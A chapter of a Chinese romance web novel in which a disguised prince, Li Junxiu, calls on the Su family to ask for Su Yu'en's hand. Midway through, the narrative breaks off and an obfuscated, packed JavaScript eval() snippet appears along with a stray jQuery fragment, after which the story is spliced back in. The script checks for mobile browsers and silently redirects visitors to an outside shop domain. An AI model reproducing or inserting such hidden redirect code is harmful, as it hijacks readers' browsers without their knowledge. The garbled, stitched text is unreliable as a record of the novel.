巷口人来人往,目光有意无意停留在二人身上。
锣鼓巷的住户不是小官小吏便是行商的人家,人人生着一副毒辣的眼睛,轻易就能瞧出二人通身气派不似常人。
更别说两个大男人偷摸躲巷口擦洗脸上的脂粉,好一通手忙脚乱。
薛进的好听话一阵接着一阵,李浚修闻之却板着脸,他擦去口脂,“行了行了,别再溜须拍马。这一次出门你立了功,不说奉承话我也要赏你。”
薛进收回巡视的眼,为他端着小圆铜镜,憨厚笑道:“不过打晕个宫女,抢了她的衣裳给王爷穿出宫,不算什么功劳。”
李浚修剑眉轻蹙,“有些事可以做但别说出口,给人知道脸面还要不要了!”
薛进讪笑折腰,“卑职明白了。”
垂目吐息,吐出满腔疲倦,自打跟着瑞王上京,他就没有轻省的时候。
这次上京只准许瑞王带两个婢女,李浚修忌惮宫中人事复杂,生怕有人害他,就让薛进扮作女人,和一等大丫鬟翠竹一同陪他进宫。
说是圈禁,在薛进看来每日都在享福。
流水的珍馐吃不完,厌烦了有舞姬歌姬献艺,不必点卯上工,睡到日上三竿再起,简直是神仙日子。
这位爷可好,舒坦日子不过非要抗旨出宫,一路扮作传膳宫女经层层盘查,薛进的心脏像是被人攥紧,快要捏爆了。
李浚修拍拍他肩膀,“他日我同苏姑娘结为连理,请你为座上宾,将你的功绩宣扬出去,叫后世传颂。”
“卑职不敢当,”薛进擦去额间汗水,朝巷口张望,“王爷快些进去吧,这巷子窄小蜿蜒,刺客极容易藏身。”
李浚修总算把脸擦干净,提起衣摆看脚下踩得污浊的融雪,浮起厌烦之色。
“那个……背我。”
薛进脑袋里似万马奔腾,笃哒笃哒滚过千万句抱怨。
不过一点雪水,哪里就不能走了?
腹诽归腹诽,在瑞王手下办差,食君之禄为君分忧,到底把他背了起来。
两只手环在他臀下,用力将他朝上颠了颠。两手各提一大包礼物,坠得他腰肢发酸。
拉货的骡子被主人牵着路过,目光与他对视,叫了一声。
薛进心里鬼使神差应了一声。
来至门前,他轻轻敲门,余光不住地瞟瑞王。
见他已脱下宫装,换了身靛青灵芝纹的狐里道袍,腰间坠着金色宫绦,穗子上坠着镂空雕刻狻猊玉玩意,香囊香球香帕都带了,比大姑娘还要香。
眼看扣门无人应,李浚修脸色渐渐发了白。
他清了清嗓子,抖开山水泥金扇,在十一月的朔风里,扇动。
“谁啊?”
苏晴微开门,一双杏眼将两人来回睃。
李浚修恭敬行礼,从那双水润盈盈的杏眼,猜出是遇恩姐姐。
“姐姐好。”
苏晴微一手把着门,没有松开的意思。来人衣着考究,面目俊雅,年岁不过二十出头,料定是上门找遇恩相看的男子。
这人哪里都好,偏生了双桃花眼,恐怕是个风流人物。
语气不免冷硬,“谁是你姐姐?”
薛进正要上前理论,被李浚修抬手拦下,又拱手行一礼。
“我姓李,特来拜访苏二小姐,不知二小姐此刻是否在府上?”
“噢——”苏晴微拖着声线,眸光几番震荡,咬唇道:“原来是你小子,进来吧。”
跟随苏晴微绕过影壁,李浚修粗略扫量这宅子,不觉捏紧拳头。
地方太小,连三进都没有。
装潢太丑,没有花草点缀,光秃秃的不得意趣。
伺候的下人也不知道跑哪里去了,空荡荡的屋子显得萧索凄凉。
该死,竟没一样配得上遇恩!
苏晴微没顾得上瞧他发癫,眼风落在薛进身上,观他脚步轻盈像是练家子。
又见他腰侧凸起,恐怕藏着家伙事,淡笑道:“我娘极爱洁净,你这小厮鞋上全是泥。”
李浚修垂目见之果然腌臜,便道:“不妨碍,我跟姐姐进屋,他就在屋外候着。”
谁知苏晴微刹那转了脸色,“谁说让他候在外头了?化雪时节他身上连件像样的袄子都没有,一二个时辰站下来,不得伤寒才怪!可见你苛待下人没良心,就会使唤人。”
字字珠玑说到薛进心坎去了。
男儿有泪不轻弹,不知为何这个美丽姐姐为他出头,他的泪花就有点想弹。
哽咽道:“多谢小姐关怀,我们做下人的没那么讲究。”
话未说尽,被苏晴微一把拽到厢房,不由分说推他进了门。
她站在门前笑,“大冷的天冻坏了怎么好,里头有炭火和热茶,你且随意用些,回头再和主子回府。”
薛进反应过来王爷身边没了人手,回身猛一拉门,发现已从外面锁死了。
再一抬眼,就见张简和吴尚坐在熏笼旁的小杌凳上,一人捧着一盏热茶,眼睛直勾勾盯着他。
“薛班头,真巧啊。”
“真……巧。”
“今儿来是要杀我还是……”
“不杀谁。别、别多心。”
那头,李浚修跟着苏晴微来至正屋门前,没等苏晴微发话,先把脚上残雪跺干净,用扇子撩开棉帘子,而非用手。
让出身子让苏晴微先迈进去。
甫进门,扫见外间盆架上存有水,他走去净了手,摸出自己的绢帕擦水,没乱甩,没乱揩。
又见盆架旁挂着鸡毛掸子,取来把外袍上上下下的尘拍了个遍。
苏晴微抿唇看他,一举一动简直是比着她和娘的喜好生出来的人物。
认准此男一定打听过苏家人喜好洁净,故意做出这些令人满意的动作打动她们,真乃心机深沉。
她先他一步来到暖榻,朝她娘附耳,“瑞王上京来找恩宝了,人就在外间,偷偷摸摸做贼似的,只带一个小厮。”
柳婉华放下针线篮子,抬手理了理发髻,“正好,咱娘俩会会他。”
一顿,蹙起眉毛,“你妹子那头还好?”
“打发她往外替我买丝线去了,走的后门,一时半会儿回不来。”
“那就好,”柳婉华笑得深沉,“都说这短命鬼活不长,我就是死了,也不会把姑娘许给他。”
苏晴微掩唇笑,“自然。”
碧纱橱里娘俩的议论声窸窸窣窣传来,听得李浚修脊背阵阵发寒。
为显得他文雅端正,特意穿加棉道袍而没穿狐裘,一路迎着冷风赶路,兀地进入暖屋,鼻头就有些痒,忍不住打喷嚏。
苏晴微窥他偷摸鼻子,更笃定他心中有鬼。
冷笑道:“进来吧,我娘要见你。”
那目空一切的柔声软语,活像司礼监的传旨大太监。
而遇恩的娘则是这个小朝廷的女王,掌管他们姻缘的生死。
至于他——充其量是供公主玩弄的面首。
李浚修为这不着边际的想象逗笑了,来至榻前,躬身行礼,“见过柳夫人。”
柳婉华起身抬他的胳膊,“不敢劳动王爷。”
彼此身份都是明牌,没必要遮掩。
不看不得了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955228|210427||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一看吓柳婉华一大跳,这病秧子竟该死的俊美!
衣着穿戴文雅考究,不像有些公子哥儿,不通文墨雅趣,一味堆叠金银。
更难得眉目舒朗,身段倜傥,举手投足自带贵气。
再细瞧,胸膛轻微起伏,尽管隔着厚厚的袄,仍能看出尚有胸肌。
啧啧,也不是那么瘦弱嘛。
论姿色,甚至有几分像遇恩他爹年轻的时候。
“娘?娘?”苏晴微扯她衣摆,低声提醒,“说话啊。”
柳婉华神思猛然收回,尴尬震嗓,“听闻王爷在朗州就藩,如何想着往京城来?”
李浚修不好直言被圈禁在宫中,半真半假道:“今春父皇病重,本就有意上京侍疾,不巧朗州一地山贼横行,为着剿匪一事便耽搁到如今。”
听得苏晴微狠翻白眼,遇恩分明和她们说过,是他被遇恩几人误抓了,没本事逃脱,甚至还惊动了宫中。
被他那巧嘴一粉饰,他倒成了孝心十足又颇有能耐的藩王。
柳婉华自然也想到这层,却笑得慈爱,“王爷好孝心。”
话锋一转,望着李浚修道:“记得王爷好像与我们遇恩同岁,今年都是二十?”
“正是。”
李浚修心说遇恩的木头脑袋也不知随了谁,和她娘说话轻松多了,彼此知道对方想聊什么,便把话题往那边拐。
他顺势道:“说来不怕夫人笑话,我只比二小姐大五个月,却没二小姐的能为。朗州出了贼乱,半路劫我的车驾。幸得二小姐出手相救,否则后果不堪设想。不瞒夫人,本王对二小姐已生情愫,今日登门是为求夫人把二小姐许给我做王妃。”
柳婉华不搭话,嘱咐苏晴微,“茶凉了,再换一盏热的来。”
苏晴微去了。
她回眸又看李浚修,“王爷素日吃多了好茶,一时吃粗茶是很新鲜,只怕新鲜劲过了,后悔入口啊。”
李浚修会其意思,面色端得一片郑重,“夫人放心,在我心中二小姐便是二小姐,没有优劣之论,旁的女子更是无法与她比较。”
说话时他眉头不觉皱起,唇用力抿成一线,两手攥着腿上衣袍,全无方才的潇洒情态,掩饰不住的焦急。
柳婉华略喜,面上却不显,“我们老爷犯了事,现而今还在岭南徭役场流放。王爷可知同遇恩成亲意味着什么?”
李浚修匀了口气,“意味着我来解苏家之急。”
“要挟我们?”
“夫人误会。”
李浚修将折扇一点点翻开,又一点点折回,“苏将军含冤流放,致使西北战局挫败,于公于私,本王愿押上身家性命为苏将军翻案。”
柳婉华挑眉打量他,“空口白牙,如何信你?”
李浚修从袖中摸出一封书信,放到榻桌,“夫人在京可听闻前任兵部侍郎告老归家途中失踪了?”
对此柳婉华确有耳闻,轻轻点头。
他端起茶盏,呷一口冷透的茶,“我绑的。”
目光停在那封信,面色波澜不惊,“里面是他的口供,夫人可以看看。”
正说着,陡然灌进一阵凉风,遇恩掀开帘子,手捧丝线和花样子笑盈盈进门。
“姐真难伺候,跑好几家铺子才买齐。还好我脚步快,换作旁人天黑都买不全。”
话音渐弱,见李浚修闪现家中正与娘亲交谈,彼此面色凝重,料想在说他们的终身大事。
她顿住脚步,面色瞬间由白转红,嘴皮子不住打哆嗦。
“娘,不不不管他说什么都别信。我我我俩只吃过嘴巴,并没做出格的事。”